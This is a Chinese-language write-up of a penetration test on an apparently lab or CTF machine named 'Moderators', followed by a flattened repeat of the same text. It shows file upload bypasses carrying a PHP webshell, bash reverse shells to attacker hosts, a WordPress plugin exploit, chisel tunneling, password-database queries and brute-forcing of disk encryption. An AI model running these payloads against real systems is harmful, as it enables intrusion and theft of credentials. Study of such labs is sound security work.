记一次对Moderators的渗透测试
字数 1320 2025-08-24 07:48:33

渗透测试实战教学:从文件上传到权限提升

信息收集阶段

1. 端口扫描

使用nmap进行初始探测:

nmap -sV -p- target_ip

发现开放端口:

  • 22 (SSH)
  • 80 (HTTP)

2. Web应用分析

目标是一个托管服务/漏洞评估提供商网站,包含漏洞测试报告:

  • 报告包含主机地址、漏洞类型等敏感信息
  • 报告通过ID值访问

3. 目录爆破

使用feroxbuster进行目录枚举:

feroxbuster -u http://target_ip -w /path/to/wordlist.txt

发现重要目录:

  • /logs
  • /logs/e21cece511f43a5cb18d4932429915ed/ (MD5哈希值目录)

漏洞利用阶段

1. 报告ID枚举

使用wfuzz对报告ID进行模糊测试:

wfuzz -c -z range,1-10000 http://target_ip/report?id=FUZZ

发现有效ID后,生成MD5哈希继续枚举:

echo -n "9798" | md5sum
wfuzz -c -z file,hashes.txt http://target_ip/logs/FUZZ

2. 文件上传漏洞利用

发现上传接口后,绕过限制的技术:

文件上传过滤器绕过方法:

  1. 修改文件名后缀为.pdf
  2. 修改Content-Type为application/pdf
  3. 在文件开头添加PDF魔术字节:%PDF-

最终上传PHP webshell:

%PDF-
<?php phpinfo(); ?>

上传后验证:

  • 检查phpinfo()输出
  • 查看disable_functions限制

3. 绕过disable_functions

使用popen函数执行命令:

<?php
error_reporting(E_ALL);
$handle = popen('/bin/ls 2>&1', 'r');
echo "'$handle'; " . gettype($handle) . "\n";
$read = fread($handle, 2096);
echo $read;
pclose($handle);
?>

4. 获取反向shell

使用curl反弹shell:

curl http://target_ip/uploaded_shell.php?cmd=bash+-c+"bash+-i+>%26+/dev/tcp/attacker_ip/4444+0>%261"

权限提升阶段

1. 内网服务发现

使用netstat发现本地服务:

netstat -tulnp

发现WordPress运行在8080端口

2. 建立隧道

使用chisel建立SOCKS隧道:

# 攻击机
./chisel server -p 8000 --reverse

# 目标机
./chisel client attacker_ip:8000 R:socks

3. WordPress插件漏洞利用

发现Brandfolder插件漏洞,利用方式:

curl '127.0.0.1:8080/wp-content/plugins/brandfolder/callback.php?wp_abspath=/dev/shm/&cmd=bash+-c+"bash+-i+>%26+/dev/tcp/10.10.17.140/5444+0>%261"'

4. 数据库凭证获取

分析WordPress插件源码pwds-manager.php,发现数据库操作函数:

function pms_db_install() {
    global $wpdb;
    $table_name = $wpdb->prefix . 'pms_passwords';
    $sql1 = "CREATE TABLE $table_name (
        pass_id int(11) NOT NULL AUTO_INCREMENT,
        user_name varchar(200) NOT NULL,
        user_email varchar(200) NOT NULL,
        user_password longtext NOT NULL,
        category_id int(11) NOT NULL,
        note text CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL,
        url longtext NOT NULL,
        PRIMARY KEY (pass_id)
    )ENGINE=InnoDB DEFAULT CHARSET=latin1";
    dbDelta($sql1);
}

登录MySQL数据库:

mysql -u wordpressuser -p'wordpresspassword123!!' wordpress

查询敏感信息:

SELECT user_name, user_email, url FROM wp_pms_passwords;
SELECT user_name, user_password FROM wp_pms_passwords;

5. WordPress管理员密码重置

使用在线工具生成WordPress密码哈希:

  1. 访问 https://www.useotools.com/es/wordpress-password-hash-generator/
  2. 生成新密码哈希

更新数据库:

UPDATE `wp_users` SET `user_pass` = '$P$BqTMH6f2/YJmGLjPetfgm3MnNewMhS1' WHERE user_login = 'admin';

6. SSH密钥获取

通过WordPress后台发现SSH私钥,使用它登录:

chmod 600 id_rsa
ssh -i id_rsa lexi@target_ip

高级权限提升

1. VirtualBox虚拟机破解

发现.vbox文件,使用pyvboxdie-cracker工具:

git clone https://github.com/axcheron/pyvboxdie-cracker
python cracker.py -f encrypted.vbox

发现密码:computer

2. LUKS磁盘加密破解

使用bruteforce-luks工具:

./bruteforce-luks-static-linux-amd64 -f wordlist.txt /dev/sda

发现密码:abc123

3. 最终root密码发现

在脚本文件中查找密码:

grep -r pass .

发现密码:

./all-in-one/distro_update.sh:passwd='$_THE_best_Sysadmin Ever '

使用sudo提权:

sudo -l
sudo su

总结技术要点

  1. 文件上传绕过技术

    • 魔术字节修改
    • Content-Type欺骗
    • 文件扩展名混淆
  2. PHP限制绕过

    • popen函数利用
    • 错误输出重定向
  3. 内网横向移动

    • 端口转发
    • SOCKS隧道建立
    • 本地服务利用
  4. 凭证获取技术

    • 数据库直接查询
    • 源码分析
    • WordPress密码重置
  5. 加密系统破解

    • VirtualBox加密破解
    • LUKS磁盘加密爆破
  6. 权限提升方法

    • 密码查找
    • sudo配置利用
    • 脚本文件分析

本案例涵盖了从Web应用到系统层面的完整渗透流程,展示了现代渗透测试中的多种技术组合应用。

渗透测试实战教学:从文件上传到权限提升 信息收集阶段 1. 端口扫描 使用nmap进行初始探测: 发现开放端口: 22 (SSH) 80 (HTTP) 2. Web应用分析 目标是一个托管服务/漏洞评估提供商网站,包含漏洞测试报告: 报告包含主机地址、漏洞类型等敏感信息 报告通过ID值访问 3. 目录爆破 使用feroxbuster进行目录枚举: 发现重要目录: /logs /logs/e21cece511f43a5cb18d4932429915ed/ (MD5哈希值目录) 漏洞利用阶段 1. 报告ID枚举 使用wfuzz对报告ID进行模糊测试: 发现有效ID后,生成MD5哈希继续枚举: 2. 文件上传漏洞利用 发现上传接口后,绕过限制的技术: 文件上传过滤器绕过方法: 修改文件名后缀为 .pdf 修改Content-Type为 application/pdf 在文件开头添加PDF魔术字节: %PDF- 最终上传PHP webshell: 上传后验证: 检查phpinfo()输出 查看disable_ functions限制 3. 绕过disable_ functions 使用popen函数执行命令: 4. 获取反向shell 使用curl反弹shell: 权限提升阶段 1. 内网服务发现 使用netstat发现本地服务: 发现WordPress运行在8080端口 2. 建立隧道 使用chisel建立SOCKS隧道: 3. WordPress插件漏洞利用 发现Brandfolder插件漏洞,利用方式: 4. 数据库凭证获取 分析WordPress插件源码 pwds-manager.php ,发现数据库操作函数: 登录MySQL数据库: 查询敏感信息: 5. WordPress管理员密码重置 使用在线工具生成WordPress密码哈希: 访问 https://www.useotools.com/es/wordpress-password-hash-generator/ 生成新密码哈希 更新数据库: 6. SSH密钥获取 通过WordPress后台发现SSH私钥,使用它登录: 高级权限提升 1. VirtualBox虚拟机破解 发现.vbox文件,使用pyvboxdie-cracker工具: 发现密码: computer 2. LUKS磁盘加密破解 使用bruteforce-luks工具: 发现密码: abc123 3. 最终root密码发现 在脚本文件中查找密码: 发现密码: 使用sudo提权: 总结技术要点 文件上传绕过技术 : 魔术字节修改 Content-Type欺骗 文件扩展名混淆 PHP限制绕过 : popen函数利用 错误输出重定向 内网横向移动 : 端口转发 SOCKS隧道建立 本地服务利用 凭证获取技术 : 数据库直接查询 源码分析 WordPress密码重置 加密系统破解 : VirtualBox加密破解 LUKS磁盘加密爆破 权限提升方法 : 密码查找 sudo配置利用 脚本文件分析 本案例涵盖了从Web应用到系统层面的完整渗透流程,展示了现代渗透测试中的多种技术组合应用。